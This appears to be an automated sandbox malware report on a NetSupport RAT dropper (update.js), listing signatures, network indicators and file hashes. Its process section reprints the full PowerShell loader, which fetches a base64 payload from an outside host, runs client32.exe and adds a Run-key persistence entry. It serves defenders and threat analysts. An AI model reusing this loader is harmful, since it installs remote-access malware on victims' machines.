Analysis Overview
SHA256
d733403650832af97220ed7693dcc0901336c84f927351db27a2ccb2de2deae1
Threat Level: Known bad
The file update.js was found to be: Known bad.
Malicious Activity Summary
NetSupport
Blocklisted process makes network request
Checks computer location settings
Executes dropped EXE
Loads dropped DLL
Adds Run key to start application
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of FindShellTrayWindow
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-02-05 20:21
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-02-05 20:21
Reported
2024-02-05 20:52
Platform
win10-20231215-en
Max time kernel
905s
Max time network
1750s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-655921741-723621465-1580683668-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX-132\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 308 wrote to memory of 2564 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 308 wrote to memory of 2564 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2564 wrote to memory of 1740 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe |
| PID 2564 wrote to memory of 1740 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe |
| PID 2564 wrote to memory of 1740 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $zbMXtkpRdebGwDoqoNgAST='https://ghostcitygames.com/data.php?6937';$ifaiObnTupNvAzDmBiDQZg=(New-Object System.Net.WebClient).DownloadString($zbMXtkpRdebGwDoqoNgAST);$QnDGkcMcdUuuLRmkZ=[System.Convert]::FromBase64String($ifaiObnTupNvAzDmBiDQZg);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $KqjcDQOlwDLbyhAvmNNVViTZPsIunA=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -PathType Container)) { New-Item -Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -ItemType Directory };$p=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$QnDGkcMcdUuuLRmkZ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$KqjcDQOlwDLbyhAvmNNVViTZPsIunA)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -Force; $FSDFSSD.attributes='Hidden';$s=$KqjcDQOlwDLbyhAvmNNVViTZPsIunA+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe
"C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ghostcitygames.com | udp |
| RU | 91.219.150.112:443 | ghostcitygames.com | tcp |
| US | 8.8.8.8:53 | 112.150.219.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| MD | 5.181.156.45:443 | tcp | |
| US | 172.67.68.212:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 45.156.181.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 212.68.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 150.1.37.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 29.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 89.65.42.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 79.121.231.20.in-addr.arpa | udp |
Files
memory/2564-4-0x00000198EF020000-0x00000198EF042000-memory.dmp
memory/2564-5-0x00007FF93B4F0000-0x00007FF93BEDC000-memory.dmp
memory/2564-7-0x00000198EEFE0000-0x00000198EEFF0000-memory.dmp
memory/2564-9-0x00000198EEFE0000-0x00000198EEFF0000-memory.dmp
memory/2564-10-0x00000198EF7A0000-0x00000198EF816000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2vxjfphq.cei.ps1
| MD5 | c4ca4238a0b923820dcc509a6f75849b |
| SHA1 | 356a192b7913b04c54574d18c28d46e6395428ab |
| SHA256 | 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b |
| SHA512 | 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a |
memory/2564-25-0x00000198EEFE0000-0x00000198EEFF0000-memory.dmp
memory/2564-44-0x00000198EFC70000-0x00000198EFC82000-memory.dmp
memory/2564-43-0x00000198EF780000-0x00000198EF78A000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX-132\PCICL32.dll
| MD5 | 46ac25f90f99c36eee89c6428c458e03 |
| SHA1 | 17ac288d3264848ec0d2c62245395a076a4deb61 |
| SHA256 | 30009b8d74469cf7e1547ebbb50c8a58e8e71184c5745d0894b6bf7876634fb8 |
| SHA512 | 81c47f9de0a5ad15b3d70d52fe2d81af456ac437424ac0fc045369a866478c6f9cadeea8324d7ba1a39fd689bba335682c5243147a0307de80031b76a05d4ab2 |
C:\Users\Admin\AppData\Roaming\DIVX-132\client32.ini
| MD5 | 98043670d8c850e878e333312fcfa25a |
| SHA1 | dc795e8b906d70ee5854a6797e0c1557375bc443 |
| SHA256 | 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc |
| SHA512 | 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201 |
C:\Users\Admin\AppData\Roaming\DIVX-132\NSM.LIC
| MD5 | 1b41e64c60ca9dfadeb063cd822ab089 |
| SHA1 | abfcd51bb120a7eae5bbd9a99624e4abe0c9139d |
| SHA256 | f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d |
| SHA512 | c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4 |
\Users\Admin\AppData\Roaming\DIVX-132\HTCTL32.DLL
| MD5 | bfdfbecdece75524459161cd1414d1f4 |
| SHA1 | f6b4bc83ea1c5d8913ad028910ad8718b4e5502c |
| SHA256 | 49b857176a28582aa52522fd1ff902d9201cc7b59199e99f911ed7bba6d52d32 |
| SHA512 | 575aede1ad6d474223c565543f676d3c2b4b672bbce1bc29240031d82300308482ef1690b81ab8d3d910be5894c2691274cebf726052f3c83b78044c7e19d696 |
C:\Users\Admin\AppData\Roaming\DIVX-132\HTCTL32.DLL
| MD5 | 701b07d883b3cfc443f863f657ef91fc |
| SHA1 | db3b5d9a66bd8dbc70b3b764884260f31670fd99 |
| SHA256 | 2aba690848a5c26ba76aa819be68acfd4f8f45e198be8c69c54e11be27051319 |
| SHA512 | f075b814235b15bd21898df8e481403c665ef689c6b2db80a940717337e8ca50e978a742b399c2303f4da22870f8046e9817059cd8bedf5e47a5848d0fb53f6b |
memory/2564-115-0x00007FF93B4F0000-0x00007FF93BEDC000-memory.dmp
\Users\Admin\AppData\Roaming\DIVX-132\msvcr100.dll
| MD5 | 0fc486f7851e56d2f6a6ca5ee704b696 |
| SHA1 | f7edfdc0a528d2257774c6f65be23b5de4c96daf |
| SHA256 | 5f22eaa3a87c50418c7a6edbc2f8144112557fcf1628caff9963d281d4917f6e |
| SHA512 | d287ff5ce829c973061dc31d16f9b94f600b2193c48c3246fadfb534e3c1030433c855eec3ec00ec50ce9d603879d104786fc935e0f28c9e77be9808fd5d956e |
\Users\Admin\AppData\Roaming\DIVX-132\msvcr100.dll
| MD5 | 5904e8bc02bdb968ce0f36018ee41876 |
| SHA1 | 10d8500b76946b8190185d16534142597be4187a |
| SHA256 | 8ef3f764dbf46eea25078036b64abd18122f19bb0592a390a5de215fdf168371 |
| SHA512 | 869661bc36ecb2bba835e2fa1f7f31c50c80b3aeb2ef5ef5b019873988c7626fc7e3a26b5dc8623dda6804422f687332366171dde0c6e82fe8c6190f710aaa65 |
\Users\Admin\AppData\Roaming\DIVX-132\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\Users\Admin\AppData\Roaming\DIVX-132\MSVCR100.dll
| MD5 | 9f5a1903e17e2ae5d3294859473321cb |
| SHA1 | 7355bab77513c997643f91e31edae362a836ab85 |
| SHA256 | b532a25737064102d15f4e4a5a2c65005e299b4118346629ee9d24bea5e2fd92 |
| SHA512 | a728165772f492d8f10ae3e8eecf6959f24f0cd724f0e514e14184810c2880bc1bfed95f85ec6c802d8f7a8f7c69bebd4a4e3b2c3c015636d0b8f4b0cb065125 |
\Users\Admin\AppData\Roaming\DIVX-132\PCICHEK.DLL
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
\Users\Admin\AppData\Roaming\DIVX-132\PCICL32.DLL
| MD5 | 62703ad10798556d14171949171d9719 |
| SHA1 | 5258877885c662a50cc45175c18e78a3ceaa5cb0 |
| SHA256 | 975920b0103a9ddd24c0bbad4c98d3ef2536765dec0da1360f61ad02369bc703 |
| SHA512 | 36f77e6f0cc9090bc82ac9b1b432483723b0b8f8b0490491a3b2f5705861671b561cbc8d19a465f3fde80c84eacc2ce2912d8bfd75a60ea3dc59def28511677b |
C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe
| MD5 | c4f1b50e3111d29774f7525039ff7086 |
| SHA1 | 57539c95cba0986ec8df0fcdea433e7c71b724c6 |
| SHA256 | 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d |
| SHA512 | 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5 |
Analysis: behavioral2
Detonation Overview
Submitted
2024-02-05 20:21
Reported
2024-02-05 20:54
Platform
win10v2004-20231215-en
Max time kernel
605s
Max time network
1748s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX564\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2136 wrote to memory of 1700 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2136 wrote to memory of 1700 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1700 wrote to memory of 968 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe |
| PID 1700 wrote to memory of 968 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe |
| PID 1700 wrote to memory of 968 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $zbMXtkpRdebGwDoqoNgAST='https://ghostcitygames.com/data.php?6937';$ifaiObnTupNvAzDmBiDQZg=(New-Object System.Net.WebClient).DownloadString($zbMXtkpRdebGwDoqoNgAST);$QnDGkcMcdUuuLRmkZ=[System.Convert]::FromBase64String($ifaiObnTupNvAzDmBiDQZg);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $KqjcDQOlwDLbyhAvmNNVViTZPsIunA=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -PathType Container)) { New-Item -Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -ItemType Directory };$p=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$QnDGkcMcdUuuLRmkZ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$KqjcDQOlwDLbyhAvmNNVViTZPsIunA)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -Force; $FSDFSSD.attributes='Hidden';$s=$KqjcDQOlwDLbyhAvmNNVViTZPsIunA+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe
"C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ghostcitygames.com | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| RU | 91.219.150.112:443 | ghostcitygames.com | tcp |
| US | 8.8.8.8:53 | 198.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 112.150.219.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 76.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| MD | 5.181.156.45:443 | tcp | |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| US | 104.26.0.231:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 45.156.181.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 231.0.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| NL | 52.142.223.178:80 | tcp | |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 140.71.91.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 210.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.236.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 208.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 168.117.168.52.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qv3cwjt0.z04.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1700-9-0x0000020258920000-0x0000020258942000-memory.dmp
memory/1700-10-0x00007FFCE3080000-0x00007FFCE3B41000-memory.dmp
memory/1700-12-0x00000202589C0000-0x00000202589D0000-memory.dmp
memory/1700-11-0x00000202589C0000-0x00000202589D0000-memory.dmp
memory/1700-15-0x00000202589A0000-0x00000202589B2000-memory.dmp
memory/1700-14-0x0000020258970000-0x000002025897A000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe
| MD5 | c4f1b50e3111d29774f7525039ff7086 |
| SHA1 | 57539c95cba0986ec8df0fcdea433e7c71b724c6 |
| SHA256 | 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d |
| SHA512 | 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5 |
C:\Users\Admin\AppData\Roaming\DIVX564\PCICL32.dll
| MD5 | c9fcf40afdacef88cdc9b19cfc8816e2 |
| SHA1 | 33aa62faef55a8d487ea360bb1f6d034baff7251 |
| SHA256 | 37192862a8a143c264353b1e0590d0c5f106bd87a261b884578036c61ff0ef86 |
| SHA512 | 8ff79573029a0386b9a27227800740dd473b119a05a0cbaa3daecdc9f442af8c83734ac68b40030517f03f0344668afe5f5e11a42835f45687ff2e7505e6fa47 |
C:\Users\Admin\AppData\Roaming\DIVX564\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
memory/1700-82-0x00007FFCE3080000-0x00007FFCE3B41000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX564\msvcr100.dll
| MD5 | 90374446d87c00de5565448622e6604d |
| SHA1 | bb4ca20c1c5d9e77cffed5d9c5fe84ad1fa93eee |
| SHA256 | f40fee2991c35c6c12c49968f23d66c3b74f36bf27cbf1bfa193056302e20217 |
| SHA512 | 179dd00cd5fa236a1a4a55c16f6a846e1efa34f43d1eb6a54cb982a785f0f412a4d113eddb15fe675aa66c3d6cccd15648741a077f035f55e36b6524e93f1e36 |
C:\Users\Admin\AppData\Roaming\DIVX564\client32.ini
| MD5 | 98043670d8c850e878e333312fcfa25a |
| SHA1 | dc795e8b906d70ee5854a6797e0c1557375bc443 |
| SHA256 | 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc |
| SHA512 | 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201 |
C:\Users\Admin\AppData\Roaming\DIVX564\NSM.LIC
| MD5 | 1b41e64c60ca9dfadeb063cd822ab089 |
| SHA1 | abfcd51bb120a7eae5bbd9a99624e4abe0c9139d |
| SHA256 | f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d |
| SHA512 | c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4 |
C:\Users\Admin\AppData\Roaming\DIVX564\msvcr100.dll
| MD5 | 4b8a85f618827549451e2f3d9637f7be |
| SHA1 | 7a9a315ed333f80e0dd4c955a72544e12e76e571 |
| SHA256 | 457b93f151da3d5c6bfc9868f37965266d12167ec58eedcc395941fc41dd816d |
| SHA512 | 1984b0e14c6441d57c1dd4017f1a4d1ca11ca5d455a5395ffc7800ca27e03e9c3fed3b540c943fc11f124adbee584d40d33405f61c25cf6d4466e5a5775069b9 |
C:\Users\Admin\AppData\Roaming\DIVX564\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |
C:\Users\Admin\AppData\Roaming\DIVX564\MSVCR100.dll
| MD5 | 97f886815bc7406255ec08a3d4485c07 |
| SHA1 | f6f6e2df3079a586b83435a6a7fb2e229bd0980e |
| SHA256 | 093241f3dc43cd8da79aa9bd179d8e9b3fe25968aa0714406fe7c499f14e5270 |
| SHA512 | 718f87e456447442c74379968e3abe734ea66dd460238fb9cf9869ea0d12193a219d2eec01398804e24ccca392dc7f85508b48931f3f0bb3cc0634a01cfa2c93 |
C:\Users\Admin\AppData\Roaming\DIVX564\PCICHEK.DLL
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\Users\Admin\AppData\Roaming\DIVX564\PCICL32.DLL
| MD5 | 050e7430a9b6d02b979f72b8314e77ac |
| SHA1 | a3cba20a4ecc1dbb844ace2ea84a8c92acd19254 |
| SHA256 | c92ec3058b412754bd1733db26787a12f43e05fcfb266041d8f7146db9c66655 |
| SHA512 | b3393a89f8b722efaf499cbc5783013e542d6b32555a7c1639c8b6a36ac5691df39eabf6025bb0ae6f8769e60f1e0118205e5f81c1eecc0ab7bd79385dfd1f0d |
Analysis: behavioral3
Detonation Overview
Submitted
2024-02-05 20:21
Reported
2024-02-05 21:18
Platform
win11-20231215-en
Max time kernel
606s
Max time network
1754s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3632047111-1948211978-3010235048-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX-414\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 824 wrote to memory of 3784 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 824 wrote to memory of 3784 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3784 wrote to memory of 4424 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe |
| PID 3784 wrote to memory of 4424 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-414\client32.exe |
